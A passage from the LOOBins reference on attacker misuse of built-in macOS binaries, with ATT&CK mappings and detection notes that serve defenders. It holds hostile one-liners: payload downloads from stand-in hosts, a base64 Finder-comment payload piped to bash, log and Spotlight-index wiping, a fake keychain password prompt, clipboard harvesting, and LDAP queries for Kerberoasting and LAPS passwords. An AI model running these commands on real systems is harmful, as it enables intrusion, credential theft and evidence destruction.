specifying the tty interface 'console'. ```bash last -t console ``` - Tactics: Discovery - ATT&CK techniques: T1033 - Tags: oneliner, account #### Enumerate all hosts that have remotely logged into the system before. An attacker can use 'last' with a filter to retrieve the connection date and remote host information for remote logins. ```bash last | grep -E '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' ``` - Tactics: Discovery - ATT&CK techniques: T1018 - Tags: oneliner, network ### Detections - [System Network Connections Discovery](https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_system_network_connections_discovery.yml) ### Resources - [last Man Page](https://ss64.com/osx/last.html) --- ## launchctl > Interact with LaunchAgents and LaunchDaemons. launchctl can be used to load, start, stop, and unload macOS services. It is a command-line frontend to launchd. - Page: https://loobins.io/binaries/launchctl/ - Author: Josh Carullo - Created: 2023-05-27 - Tactics: Execution, Persistence ### Paths - `/bin/launchctl` ### Example Use Cases #### Use launchctl to execute an application A oneliner that will load a plist as a LaunchAgent or LaunchDaemon, achieving persistence on a target machine. This command requires root privileges. ```bash sudo launchctl load /Library/LaunchAgent/com.apple.installer ``` - Tactics: Execution, Persistence - ATT&CK techniques: T1569.001 - Tags: bash, zsh, oneliner #### Persistent launch agent Creation of a persistent launch agent called with $HOME/Library/LaunchAgents/com.apple.updates.plist ```bash launchctl load -w ~/Library/LaunchAgents/com.apple.updates.plist ``` - Tactics: Persistence - ATT&CK techniques: T1543.001 ### Detections - LaunchAgents and LaunchDaemons must have a plist file on disk in the root, system, or user Library directory. Monitoring for plist's with executables located in /tmp or /Shared could identify suspicious applications. - [Jamf Protect: Detect launchctl activity that unloads or bootsout specific service](https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/launchctl_unload_and_bootout_events) ### Resources - [20 Common Tools & Techniques used by macOS threat Actors & Malware](https://www.sentinelone.com/labs/20-common-tools-techniques-used-by-macos-threat-actors-malware/) - [Mitre Attack Technique: launchctl T1569](https://attack.mitre.org/techniques/T1569/001/) - [MITRE ATT&CK T1543.001 Create or Modify System Process: Launch Agent ](https://attack.mitre.org/techniques/T1543/001/) - [Komplex OS X Trojan (Sofacy)](https://unit42.paloaltonetworks.com/unit42-sofacys-komplex-os-x-trojan/) --- ## ldapsearch > Query LDAP and Active Directory servers for directory objects and attributes. ldapsearch is the OpenLDAP command-line search client shipped in the base macOS image. It opens a connection to an LDAP server, binds either anonymously, with simple credentials, or over SASL, and returns matching directory entries as LDIF. On a Mac that is bound to Active Directory, or on any host that can reach a domain controller, it is a native way to enumerate the directory - users, groups, computers, service principal names, and account control flags - using either credentials supplied on the command line or the host's existing Kerberos ticket. Because it is already present and signed by Apple, an operator can perform the reconnaissance that would otherwise require dropping a dedicated collector to disk. - Page: https://loobins.io/binaries/ldapsearch/ - Author: Hare Sudhan (@cyb3rbuff) - Created: 2026-09-20 - Tactics: Credential Access, Discovery, Collection ### Paths - `/usr/bin/ldapsearch` ### Example Use Cases #### Enumerate directory users with a simple bind With a valid set of domain credentials (or against a server that permits anonymous binds), ldapsearch performs a subtree search from the domain naming context and returns account objects and their attributes. This maps usernames, descriptions, and group memberships without touching any Windows tooling. It requires network reach to the LDAP port (389) on a domain controller and, on most Active Directory deployments, valid credentials because anonymous binds are disabled by default. ```bash ldapsearch -x -H ldap:// -D "@" -w '' -b "DC=,DC=" -LLL "(objectClass=user)" sAMAccountName description memberOf ``` - Tactics: Discovery - ATT&CK techniques: T1087.002 - Tags: ldap, active-directory, domain-enumeration #### Enumerate the directory using the host Kerberos ticket The -Y GSSAPI option authenticates the bind with the SASL GSSAPI mechanism, which uses the Kerberos credential cache of the current user instead of a password. On an Active-Directory-bound Mac, or on a host where the user already holds a valid ticket-granting ticket, this enumerates the directory with no password on the command line and no separate credential capture. -Q keeps SASL from prompting. ```bash ldapsearch -Y GSSAPI -Q -H ldap:// -b "DC=,DC=" -LLL "(objectClass=computer)" dNSHostName operatingSystem ``` - Tactics: Discovery - ATT&CK techniques: T1018, T1087.002 - Tags: ldap, kerberos, gssapi #### Identify Kerberoastable service accounts An LDAP filter that matches user objects carrying a servicePrincipalName returns the accounts whose Kerberos service tickets can be requested and cracked offline (Kerberoasting). ldapsearch surfaces these targets directly from the directory. It needs a valid bind and the servicePrincipalName attribute is a standard Active Directory attribute. ```bash ldapsearch -x -H ldap:// -D "@" -w '' -b "DC=,DC=" -LLL "(&(objectClass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName ``` - Tactics: Credential Access, Discovery - ATT&CK techniques: T1558.003, T1087.002 - Tags: ldap, kerberoasting, active-directory #### Identify AS-REP roastable accounts The userAccountControl bitwise filter (matching rule OID 1.2.840.113556.1.4.803) with the value 4194304 selects accounts that do not require Kerberos pre-authentication. For those accounts an AS-REP hash can be requested without knowing the password and cracked offline (AS-REP roasting). ldapsearch returns the candidate list from a single query with a valid bind. ```bash ldapsearch -x -H ldap:// -D "@" -w '' -b "DC=,DC=" -LLL "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" sAMAccountName ``` - Tactics: Credential Access, Discovery - ATT&CK techniques: T1558.004, T1087.002 - Tags: ldap, asrep-roasting, active-directory #### Bulk-dump the directory to a file with paged results The -E pr search extension requests LDAP paged results, which lets a single query retrieve the entire directory past the server's default result cap. Writing the LDIF to a file stages a full offline copy of the directory for later analysis. It requires a valid bind and read access to the objects returned. ```bash ldapsearch -x -H ldap:// -D "@" -w '' -b "DC=,DC=" -LLL -E pr=1000/noprompt "(objectClass=*)" > /tmp/dirdump.ldif ``` - Tactics: Discovery, Collection - ATT&CK techniques: T1087.002 - Tags: ldap, active-directory, paged-results #### Read LAPS local administrator passwords Where Microsoft LAPS is deployed, the local administrator password is stored on the computer object in the ms-Mcs-AdmPwd attribute. ldapsearch reads it directly when the bound account has been delegated read access to that attribute - a common privilege-escalation path when a compromised account or group holds LAPS read rights it should not. The attribute returns empty for principals without the delegated permission. ```bash ldapsearch -x -H ldap:// -D "@" -w '' -b "DC=,DC=" -LLL "(objectClass=computer)" ms-Mcs-AdmPwd ms-Mcs-AdmPwdExpirationTime ``` - Tactics: Credential Access - ATT&CK techniques: T1552 - Tags: ldap, laps, active-directory ### Detections - Command-line detection: /usr/bin/ldapsearch invoked with directory-recon filters (servicePrincipalName=*, userAccountControl bitwise filters, objectClass=user/computer against a domain naming context) ### Resources - [ldapsearch(1) manual page](https://keith.github.io/xcode-man-pages/ldapsearch.1.html) - [MITRE ATT&CK T1087.002 - Account Discovery: Domain Account](https://attack.mitre.org/techniques/T1087/002/) - [MITRE ATT&CK T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting](https://attack.mitre.org/techniques/T1558/003/) - [MITRE ATT&CK T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting](https://attack.mitre.org/techniques/T1558/004/) --- ## log > Access system log messages from Apple Unified Logging (AUL). The log command can be used to access system log messages from Apple Unified Logging (AUL). The tool can be used to inspect existing logs, stream logs in realtime, and delete logs. This tool is normally used by system admins and application developers for troubleshooting purposes but can be used by an adversary to gain an understanding of the user's behavior or to cover up their tracks by deleting log messages. - Page: https://loobins.io/binaries/log/ - Author: Brendan Chamberlain (@infosecB) - Created: 2023-06-06 - Tactics: Defense Impairment, Credential Access ### Paths - `/usr/bin/log` ### Example Use Cases #### Remove all log messages An attacker can cover up their tracks by removing all log messages using the following command. Requires root privileges. ```bash log erase --all ``` - Tactics: Defense Impairment - ATT&CK techniques: T1685.006 - Tags: requires-root #### Search log messages for tokens An attacker can potentially search log messages and review if they do contain sensitive information like jwt tokens. ```bash log show --info --debug --predicate 'eventMessage CONTAINS[d] "eyJ"' ``` - Tactics: Credential Access - ATT&CK techniques: T1552 - Tags: bash, zsh ### Detections - No detections at time of publishing ### Resources - [Living off the land in macOS (Daniel Stinson)](https://shellcromancer.io/posts/living-off-of-macos/) ### Acknowledgements - Daniel Stinson (@shellcromancer) --- ## lsregister > Interact with the macOS Launch Services database. lsregister is used to build, dump, and check the validity of the Launch Services database. This database is often abused to create custom URL scheme handlers that point to malicious apps. - Page: https://loobins.io/binaries/lsregister/ - Author: Brendan Chamberlain (@infosecB) - Created: 2023-05-15 - Tactics: Discovery, Impact ### Paths - `/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister` ### Example Use Cases #### Force an update of the Launch Services database The -f flag can be used to force an update of the Launch Services database. This can be used to quickly register a custom URL scheme that points to a malicious app. ```bash /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -f ``` - Tactics: Discovery - ATT&CK techniques: T1518 #### Get a list of apps and their bindings The -dump flag can be used to get a list of apps and their bindings ```bash /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -E "path:|bindings:|name: | more" ``` - Tactics: Discovery - ATT&CK techniques: T1518 #### Delete the Launch Services database The -delete flag can be used to delete the Launch Services database to impact normal operation of the system. ```bash lsregister -delete ``` - Tactics: Impact ### Detections - No detections at time of publishing ### Resources - [Remote Mac Exploitation Via Custom URL Schemes](https://www.jamf.com/blog/remote-mac-exploitation-via-custom-url-schemes/) - [macOS Security & Privilege Escalation](https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation) ### Acknowledgements - Patrick Wardle (@patrickwardle) --- ## mdfind > Locate files using the Spotlight database. mdfind to locate files on MacOS by searching a pre-built database. It is a command-line alternative to Spotlight in MacOS - Page: https://loobins.io/binaries/mdfind/ - Author: Chris Campbell (@texasbe2trill) - Created: 2023-04-22 - Tactics: Reconnaissance, Stealth, Discovery ### Paths - `/usr/bin/mdfind` ### Example Use Cases #### Use mdfind to provide live updates to the number of files matching the query A bash or zsh oneliner can cause mdfind to provide an attacker with live updates to the number of files on a system. ```bash mdfind -live passw ``` - Tactics: Reconnaissance, Discovery - ATT&CK techniques: T1083 - Tags: bash, zsh, oneliner #### Use mdfind to search for AWS Keys Allows an attacker to query the filesystem via the CommandLine/Terminal to search for AWS keys. ```bash mdfind 'kMDItemTextContext == AKIA || kMDItemDisplayName = *AKIA* -onlyin ~' ``` - Tactics: Reconnaissance, Discovery - ATT&CK techniques: T1552.001, T1083 - Tags: bash, zsh, oneliner #### Use mdfind to search for apps to infect Allows an attacker to determine if specific applications are installed and can be leveraged ```bash set appId to do shell script "mdfind kMDItemCFBundleIdentifier = '" & bundleId & "'" ``` - Tactics: Reconnaissance, Stealth, Discovery - ATT&CK techniques: T1518, T1083 - Tags: osascript, xcsset ### Detections - [Jamf Protect: Detect activity related to mdfind used to search for stored AWS keys](https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/mdfind_search_aws_keys) ### Resources - ["Farming The Apple Orchards: Living off the Land Techniques" - Chris Ross & Cedric Owens](https://youtu.be/Snwh4mMe-Cg?t=45) - ["Zero-Day TCC bypass discovered in XCSSET malware" - Jaron Bradley, Ferdous Saljooki, Stuart Ashenbrenner](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/) --- ## mdls > List metadata attributes for the specified file. mdls list file metadata across standard metadata (creation date, size), extended attribute (quarantine), and Spotlight APIs (Finder flags). - Page: https://loobins.io/binaries/mdls/ - Author: Daniel Stinson-Diess (@shellcromancer) - Created: 2023-05-29 - Tactics: Execution, Stealth, Discovery, Collection ### Paths - `/usr/bin/mdls` ### Example Use Cases #### Validate file download information Use mdls to validate payload download sources and timestamps to guard against sandbox executions. ```bash mdls -name "kMDItemWhereFroms" -name "kMDItemDownloadedDate" ``` - Tactics: Stealth - ATT&CK techniques: T1083 - Tags: genieo, shlayer #### Query File Paths Use mdls to print file paths and sizes when enumerating host resources. ```bash xargs -0 mdls -n kMDItemPath -n kMDItemFSSize ``` - Tactics: Discovery - ATT&CK techniques: T1083 - Tags: cleanmaster #### Extract and execute payload stored in Finder comment metadata Every file on macOS has a Finder comment field stored as Spotlight metadata under the kMDItemFinderComment attribute. mdls can read this field and pipe its contents to a decoder and executor. Because the payload lives entirely in Spotlight metadata rather than file contents, it is not visible to file-based inspection or integrity monitoring tools. Finder comments can be written remotely via osascript over Remote Apple Events or SSH, making this a covert staging mechanism for lateral movement payloads. ```bash mdls -name kMDItemFinderComment -raw ~/Desktop/payload_carrier.txt | base64 -D | bash ``` - Tactics: Execution, Stealth, Collection - ATT&CK techniques: T1140, T1059.004 - Tags: finder-comment, spotlight, payload-execution, covert-storage ### Detections - No detections at time of publishing ### Resources - [Bad Apples: Weaponizing Native macOS Primitives for Movement and Execution](https://blog.talosintelligence.com/bad-apples-weaponizing-native-macos-primitives-for-movement-and-execution/) ### Acknowledgements - Ryan Conry (Cisco Talos, Finder comment payload extraction use case) --- ## mdutil > Manage Spotlight metadata indexing on local and external volumes. mdutil manages the Spotlight metadata indexes stored on each volume. Spotlight indexes are used by mdfind, the Finder, and incident responders to locate files, and the on-disk Spotlight store can retain metadata useful during forensic investigations. An attacker with root can use mdutil to stop indexing so staged files do not appear in Spotlight searches, or erase and remove existing indexes to destroy forensic evidence. Any user can query indexing status. - Page: https://loobins.io/binaries/mdutil/ - Author: Brendan Chamberlain (@infosecB) - Created: 2026-11-07 - Tactics: Stealth, Discovery ### Paths - `/usr/bin/mdutil` ### Example Use Cases #### Check Spotlight indexing status of all volumes Print the indexing status of every mounted volume. Volumes with indexing disabled are less likely to have staged files discovered through Spotlight searches. This command does not require root. ```bash mdutil -sa ``` - Tactics: Discovery - Tags: oneliner, bash, spotlight #### Disable Spotlight indexing to hide staged files Turn off Spotlight indexing for the data volume or for all volumes. Files written afterwards are not added to the index, so they do not appear in mdfind or Finder search results. ```bash sudo mdutil -i off /System/Volumes/Data sudo mdutil -a -i off ``` - Tactics: Stealth - Tags: oneliner, bash, spotlight #### Erase the Spotlight index to remove forensic artifacts Erase and rebuild the Spotlight index, discarding metadata about files that were previously indexed, including files that have since been deleted. ```bash sudo mdutil -E /System/Volumes/Data ``` - Tactics: Stealth - Tags: oneliner, bash, spotlight, anti-forensics #### Remove the Spotlight index from an external volume Delete the Spotlight index directory from a volume such as a USB drive used to stage or exfiltrate data, then disable indexing so it is not rebuilt. ```bash sudo mdutil -X /Volumes/USB sudo mdutil -i off /Volumes/USB ``` - Tactics: Stealth - Tags: bash, spotlight, anti-forensics, disk ### Detections - Command-line detection: mdutil with -i off, -d, -E, or -X arguments - Process execution detection: mdutil executed by a script interpreter, an unsigned process, or as part of a sequence with other anti-forensics commands such as log erase or tmutil deletelocalsnapshots ### Resources - [mdutil man page - SS64](https://ss64.com/mac/mdutil.html) - [Indicator Removal - MITRE ATT&CK](https://attack.mitre.org/techniques/T1070/) --- ## mktemp > Create a temporary file or directory and return the file/directory name to stdout The mktemp binary located in "usr/bin/mktemp" can generate unique directory or file names and has historically been used to generate unique payloads. - Page: https://loobins.io/binaries/mktemp/ - Author: Tim Peck (@B0bby_Tablez) - Created: 2023-06-28 - Tactics: Stealth ### Paths - `/usr/bin/mktemp` ### Example Use Cases #### Generate payload directory (Shlayer) The following command can be used to generate a random directory name for staging payloads ```bash export tmpDir="$(mktemp -d /tmp/XXXXXXXXXXXX)" ``` - Tactics: Stealth - Tags: payload #### Generate directory based on template file (Bundlore) The following command can be used to generate a unique directory based on a template ```bash TMP_DIR="mktemp -d -t x" ``` - Tactics: Stealth - Tags: payload ### Detections - No detections at time of publishing ### Resources - [Shlayer malware abusing Gatekeeper bypass on macOS](https://www.jamf.com/blog/shlayer-malware-abusing-gatekeeper-bypass-on-macos/) - [20 Common Tools & Techniques Used by macOS Threat Actors & Malware](https://www.sentinelone.com/labs/20-common-tools-techniques-used-by-macos-threat-actors-malware/) --- ## networksetup > Configure network settings in System Preferences. networksetup is an extensive tool for reading and setting various network configuration details useful for Discovery and Command and Control. - Page: https://loobins.io/binaries/networksetup/ - Author: Jason Trost (@jason_trost) - Created: 2023-04-22 - Tactics: Discovery, Command and Control ### Paths - `/usr/sbin/networksetup` ### Example Use Cases #### network device enumeration Use networksetup to display services with corresponding port and device in order they are tried for connecting to a network. ```bash networksetup -listnetworkserviceorder ``` - Tactics: Discovery - ATT&CK techniques: T1016 - Tags: network, configuration #### Detect connected network hardware Use networksetup to detect new network hardware and create a default network service on the hardware. ```bash networksetup -detectnewhardware ``` - Tactics: Discovery - ATT&CK techniques: T1016 - Tags: network, configuration #### network device enumeration Use networksetup to list all network interfaces, providing name, device name, MAC address. ```bash networksetup -listallhardwareports ``` - Tactics: Discovery - ATT&CK techniques: T1016 - Tags: network, configuration #### network device enumeration Use networksetup to list all network interface names. ```bash networksetup -listallnetworkservices ``` - Tactics: Discovery - ATT&CK techniques: T1016 - Tags: network, configuration #### DNS server enumeration Use networksetup to get configured DNS servers for a specific interface. ```bash networksetup -getdnsservers Wi-Fi ``` - Tactics: Discovery - ATT&CK techniques: T1016 - Tags: network, configuration, dns #### Enumerate configured web proxy URL for an interface Displays web proxy auto-configuration information for the specified interface. ```bash networksetup -getautoproxyurl "Thunderbolt Ethernet" ``` - Tactics: Discovery - ATT&CK techniques: T1016 - Tags: network, configuration, proxy #### Enumerate configured web proxy for an interface Displays standard web proxy information for the specified interface. ```bash networksetup -getwebproxy "Wi-Fi" ``` - Tactics: Discovery - ATT&CK techniques: T1016 - Tags: network, configuration, proxy #### Set the https web proxy for an interface Use networksetup to set the https web proxy for an interface. ```bash networksetup -setsecurewebproxy "Wi-Fi" 46.226.108.171 ``` - Tactics: Command and Control - ATT&CK techniques: T1090 - Tags: network, configuration, proxy #### Set the http web proxy for an interface Use networksetup to set the http web proxy for an interface. ```bash networksetup -setwebproxy "Wi-Fi" 46.226.108.171 ``` - Tactics: Command and Control - ATT&CK techniques: T1090 - Tags: network, configuration, proxy #### Set auto proxy URL for an interface Use networksetup to set the proxy URL for an interface. ```bash networksetup -setautoproxyurl "Wi-Fi" $autoProxyURL ``` - Tactics: Command and Control - ATT&CK techniques: T1090 - Tags: network, configuration, proxy #### Enable auto proxy state Use networksetup to enable the proxy auto-config ```bash networksetup -setautoproxystate "Wi-Fi" on ``` - Tactics: Command and Control - ATT&CK techniques: T1090 - Tags: network, configuration, proxy ### Detections - No detections at time of publishing ### Resources - [Threat Hunting the macOS edition Megan Carney (Report)](https://megancarney.com/presentations/ExternalReport_ThreatHuntingMacOS.pdf) - [GrrCon 2018: Threat Hunting the macOS edition Megan Carney](https://www.youtube.com/watch?v=_K4gnSuDkRM&feature=youtu.be) - [Mac Malware of 2017 - a comprehensive analysis of the new mac malware of 17](https://objective-see.org/blog/blog_0x25.html) - [Ay MaMi - Analyzing a New macOS DNS Hijacker: OSX/MaMi](https://objective-see.org/blog/blog_0x26.html) - [Analyzing OSX.DazzleSpy - A fully-featured cyber-espionage macOS implant](https://objective-see.org/blog/blog_0x6D.html) - [The Mac Malware of 2018 - a comprehensive analysis of the new mac malware of - 18](https://objective-see.org/blog/blog_0x3C.html) - [From The DPRK With Love - analyzing a recent north korean macOS backdoor](https://objective-see.org/blog/blog_0x6E.html) --- ## notifyutil > Monitor and post Darwin notifications for inter-process communication and system event monitoring. The notifyutil binary is a command-line interface to the notify(3) API and notifyd(8) daemon, which manages Darwin notifications on macOS. This utility enables posting notifications, monitoring system-wide notification keys, and manipulating state values associated with notification keys. While designed for legitimate inter-process communication (IPC), notifyutil can be abused by threat actors to monitor system events (like screen lock, network changes, timezone updates), establish covert communication channels between processes, or gather intelligence about system state changes without triggering traditional security monitoring. - Page: https://loobins.io/binaries/notifyutil/ - Author: Brendan Chamberlain (@infosecB) - Created: 2025-01-24 - Tactics: Privilege Escalation, Stealth, Discovery, Collection, Command and Control ### Paths - `/usr/bin/notifyutil` ### Example Use Cases #### Monitor system events for reconnaissance An attacker can register for system notification keys to detect when the user locks their screen, changes network state, or other system events without using more easily detected APIs. The following example monitors for screen lock events. ```bash notifyutil -w com.apple.screenIsLocked ``` - Tactics: Discovery, Collection - ATT&CK techniques: T1082 - Tags: monitoring, surveillance, system-events #### Establish covert inter-process communication channel Threat actors can use Darwin notifications as a covert IPC mechanism to coordinate between malicious processes. By posting and monitoring custom notification keys with associated state values, malware components can exchange commands and data without using traditional IPC methods that may be monitored. ```bash # Sender process notifyutil -p com.example.hidden.channel -s com.example.hidden.channel 1337 # Receiver process in another terminal/process notifyutil -1 com.example.hidden.channel -g com.example.hidden.channel ``` - Tactics: Stealth, Command and Control - Tags: ipc, covert-channel, c2 #### Monitor network state changes for data exfiltration timing An attacker can monitor for network configuration changes to determine optimal timing for data exfiltration. This allows malware to detect when the system connects to networks and adjust behavior accordingly. ```bash notifyutil -w com.apple.system.config.network_change ``` - Tactics: Discovery, Collection - ATT&CK techniques: T1016 - Tags: network, monitoring, exfiltration-timing #### Monitor timezone changes for geolocation tracking Monitoring timezone change notifications can help an attacker track when a target device moves between geographic locations or when users travel, providing intelligence about the target's physical location and movement patterns. ```bash notifyutil -w com.apple.system.timezone ``` - Tactics: Discovery, Collection - ATT&CK techniques: T1614 - Tags: geolocation, monitoring #### Monitor login/logout events for privilege escalation timing By monitoring authentication-related notification keys, an attacker can detect login and logout events to time privilege escalation attempts or other malicious activities when defenses may be weakened during authentication transitions. ```bash notifyutil -w com.apple.loginwindow.logout -w com.apple.springboard.attemptactivationend ``` - Tactics: Privilege Escalation, Discovery - ATT&CK techniques: T1033 - Tags: authentication, monitoring #### Query system notification state values for reconnaissance Threat actors can query state values of system notification keys to gather information about the current system configuration without executing more suspicious commands. ```bash notifyutil -g com.apple.system.timezone notifyutil -g com.apple.loginwindow.logout notifyutil -g com.apple.screenIsLocked ``` - Tactics: Discovery - ATT&CK techniques: T1082 - Tags: enumeration ### Detections - Monitor notifyutil execution with suspicious notification keys - Detect notifyutil monitoring non-standard or custom notification keys (keys not starting with com.apple) - Monitor long-running notifyutil processes (using -w flag for sustained monitoring) - Detect notifyutil usage in conjunction with known malware indicators or suspicious parent processes ### Resources - [Quick Tip: system-wide notifications with notifyutil](https://brettterpstra.com/2012/07/04/quick-tip-system-wide-notifications-with-notifyutil/) - [Darwin Notification Concepts - Apple Developer Documentation](https://developer.apple.com/library/archive/documentation/Darwin/Conceptual/MacOSXNotifcationOv/DarwinNotificationConcepts/DarwinNotificationConcepts.html) - [notify(3) manual page](https://developer.apple.com/library/archive/documentation/System/Conceptual/ManPages_iPhoneOS/man3/notify.3.html) ### Acknowledgements - Research and testing conducted for LOOBins project --- ## nscurl > Download, upload, and read files. macOS version of curl that is used to download files to a target without applying the quarantine extended attribute - Page: https://loobins.io/binaries/nscurl/ - Author: Leo Pitt (@_D00mfist) - Created: 2023-05-22 - Tactics: Stealth, Command and Control ### Paths - `/usr/bin/nscurl` ### Example Use Cases #### Download file Download file and ignore cert checking ```bash nscurl -k https://google.com -o /private/tmp/google ``` - Tactics: Stealth, Command and Control - ATT&CK techniques: T1105 #### Download file Download file to the Downloads directory using -dl ```bash nscurl https://google.com -dl ``` - Tactics: Stealth, Command and Control - ATT&CK techniques: T1105 #### Download file Download file to a designated directory using -dir ```bash nscurl https://google.com -dir /private/tmp/google ``` - Tactics: Stealth, Command and Control - ATT&CK techniques: T1105 ### Detections - [Jamf Protect: Detect all curl and nscurl activity](https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/all_curl_activity) - [Jamf Protect: Detect file downloads using the insecure argument for curl and nscurl](https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/file_download_curl_insecure) - [Sigma: File Download Via Nscurl - MacOS](https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_nscurl_usage.yml) ### Resources - [How to Diagnose App Transport Security Issues using nscurl and OpenSSL](https://www.agnosticdev.com/content/how-diagnose-app-transport-security-issues-using-nscurl-and-openssl) - [Living-off-the-Land: Exploring macOS LOOBins and Crafting Detection Rules - nscurl](https://danielcortez.substack.com/p/living-off-the-land-exploring-macos) --- ## nvram > Access and manage the host's non-volatile random-access memory (NVRAM). Access and manage the host's non-volatile random-access memory (NVRAM). - Page: https://loobins.io/binaries/nvram/ - Author: Brendan Chamberlain (@infosecB) - Created: 2023-05-23 - Tactics: Discovery ### Paths - `/usr/sbin/nvram` ### Example Use Cases #### Get nvram variables The -p option prints all the nvram variables that contain some potentially sensitive information like WiFi SSIDs and Bluetooth devices. ```bash nvram -p ``` - Tactics: Discovery - ATT&CK techniques: T1082 ### Detections - No detections at time of publishing. ### Resources - [SS64 man page](https://ss64.com/osx/nvram.html) ### Acknowledgements - Jonathan Bar Or (@yo_yo_yo_jbo) --- ## odutil > odutil allows caller to examine or change state of opendirectoryd To look at internal state information for opendirectoryd, enable or disable logging, or change statistics settings. - Page: https://loobins.io/binaries/odutil/ - Author: Ethan Nay - Created: 2023-07-12 - Tactics: Discovery ### Paths - `/usr/bin/odutil` ### Example Use Cases #### Listing the available node names List all available node names ```bash odutil show nodenames ``` - Tactics: Discovery - ATT&CK techniques: T1082 - Tags: bash, zsh #### Retrieves active session Retrieves all active sessions ```bash odutil show sessions ``` - Tactics: Discovery - ATT&CK techniques: T1033 - Tags: bash, zsh #### Retrieves "Default search policy" Retrieves the configuration of "Default search policy" ```bash odutil show configuration /Search ``` - Tactics: Discovery - ATT&CK techniques: T1082 - Tags: bash, zsh #### Retrieves "Contact search policy" Retrieves the configuration of "Contact search policy" ```bash odutil show configuration /Contacts ``` - Tactics: Discovery - ATT&CK techniques: T1082 - Tags: bash, zsh ### Detections - No detections at time of publishing ### Resources - [macOS/binaries/odutil](https://macosbin.com/bin/odutil) - [odutil man page](https://www.unix.com/man-page/osx/1/odutil/) --- ## open > Open files, folders, apps, URLs, and header files. The open command-line utility can be used to open files, folders, app, URLs or header files in their associate macOS app. - Page: https://loobins.io/binaries/open/ - Author: Brendan Chamberlain (@infosecB) - Created: 2023-05-10 - Tactics: Execution ### Paths - `/usr/bin/open` ### Example Use Cases #### Open a malicious file The open command can be used to open a malicious macOS app from the terminal. ```bash open Malicious.app ``` - Tactics: Execution - ATT&CK techniques: T1204.002 - Tags: application #### Download a malicious file The following command downloads the payload.zip file in the default browser (Safari) and then kills it. ```bash open -g https://mypayload.io/payload.zip; sleep 3; killall Safari ``` - Tactics: Execution - ATT&CK techniques: T1105 ### Detections - No detections at time of publishing ### Resources - [The macOS open Command](https://scriptingosx.com/2017/02/the-macos-open-command/) --- ## osacompile > Compile AppleScripts or OSA language scripts. osacompile is a utility used to compile scripts into executables. It's a component of Open Scripting Architecture (OSA) that Apple uses for its scripting languages, like AppleScript and JavaScript for Automation (JXA). osacompile accepts AppleScript code as input and produces a compiled script file, which can be either a script file (.scpt), an app (.app), a droplet, or a script bundle. - Page: https://loobins.io/binaries/osacompile/ - Author: Brendan Chamberlain (@infosecB) - Created: 2023-05-14 - Tactics: Resource Development, Command and Control ### Paths - `/usr/bin/osacompile` ### Example Use Cases #### Download and compile a payload The following command downloads an applescript payload from getpayload.com and compiles it into an app. ```bash curl https://getpayload.com/payload_code.apple_script && osacompile -x -e payload_code.apple_script -o payload.app ``` - Tactics: Resource Development, Command and Control - ATT&CK techniques: T1105, T1059.002 - Tags: xcsset ### Detections - [Sigma: In-Memory Download And Compile Of Payloads (experimental/pending)](https://github.com/SigmaHQ/sigma/pull/4127/commits/f4b0264a83e5f47473029e26dc0879fb196a7d07) ### Resources - [A bundle of nerves: Tweaking macOS security controls to thwart application bundle manipulation](https://redcanary.com/blog/mac-application-bundles/) --- ## osascript > Execute AppleScripts and other OSA language scripts and commands. The osascript binary is a command-line utility included in macOS that allows users to run AppleScript and Open Scripting Architecture (OSA) scripts or commands. AppleScript is a scripting language that is designed for power users to automate various tasks, application actions, and to interact with the operating system. - Page: https://loobins.io/binaries/osascript/ - Author: Cedric Owens (@cedowens) - Created: 2023-04-19 - Tactics: Execution, Privilege Escalation, Stealth, Credential Access, Discovery, Lateral Movement, Collection ### Paths - `/usr/bin/osascript` ### Example Use Cases #### Use the osascript binary to gather sensitive clipboard data A bash loop can gather clipboard contents over a defined time period. The following command calls /usr/bin/osascript -e 'return (the clipboard)' indefinitely every 10 seconds and writes clipboard content to a text file. ```bash while true; do echo $(osascript -e 'return (the clipboard)') >> clipdata.txt; sleep 10; done ``` - Tactics: Credential Access, Collection - ATT&CK techniques: T1115 - Tags: clipboard, bash, oneliner #### Use the osascript binary to gather system information osascript can be used to gather the operating system version, current username, user ID, computer name, IP address, and other information. ```bash osascript -e 'return (system info)' ``` - Tactics: Discovery, Collection - ATT&CK techniques: T1082 - Tags: system-info, oneliner #### Use the osascript binary to prompt the user for credentials osascript can be used to generate a dialogue box and request the user to enter the keychain password. ```bash osascript -e 'set popup to display dialog "Keychain Access wants to use the login keychain" & return & return & "Please enter the keychain password" & return default answer "" with icon file "System:Library:CoreServices:CoreTypes.bundle:Contents:Resources:FileVaultIcon.icns" with title "Authentication Needed" with hidden answer' ``` - Tactics: Credential Access - ATT&CK techniques: T1056.002 - Tags: oneliner, prompt #### Use the osascript binary to execute a JXA (JavaScript for Automation) file. JXA is often used by red teams (and potentially attackers) as a macOS payload, as JXA is native to macOS and can access various internal macOS APIs (such as Cocoa, Foundation, OSAKit, etc.). The osascript binary can be used to execute JXA payloads by simply running "osascript [file.js]" but some malware or offensive tools may also use "osascript -l JavaScript [file.js]". ```bash echo "ObjC.import('Cocoa');\nObjC.import('stdlib');\nvar currentApp = Application.currentApplication();\ncurrentApp.includeStandardAdditions = true;\ncurrentApp.doShellScript('open -a Calculator.app');" > calc.js && osascript -l JavaScript calc.js ``` - Tactics: Execution - ATT&CK techniques: T1059.007 - Tags: jxa #### Execute shell commands via osascript do shell script osascript's 'do shell script' handler executes arbitrary shell commands through the AppleScript runtime. Commands spawned this way are children of osascript rather than the calling shell, which can bypass detection logic tied to specific parent-child process relationships. The 'with administrator privileges' flag triggers a native macOS authentication prompt and runs the command 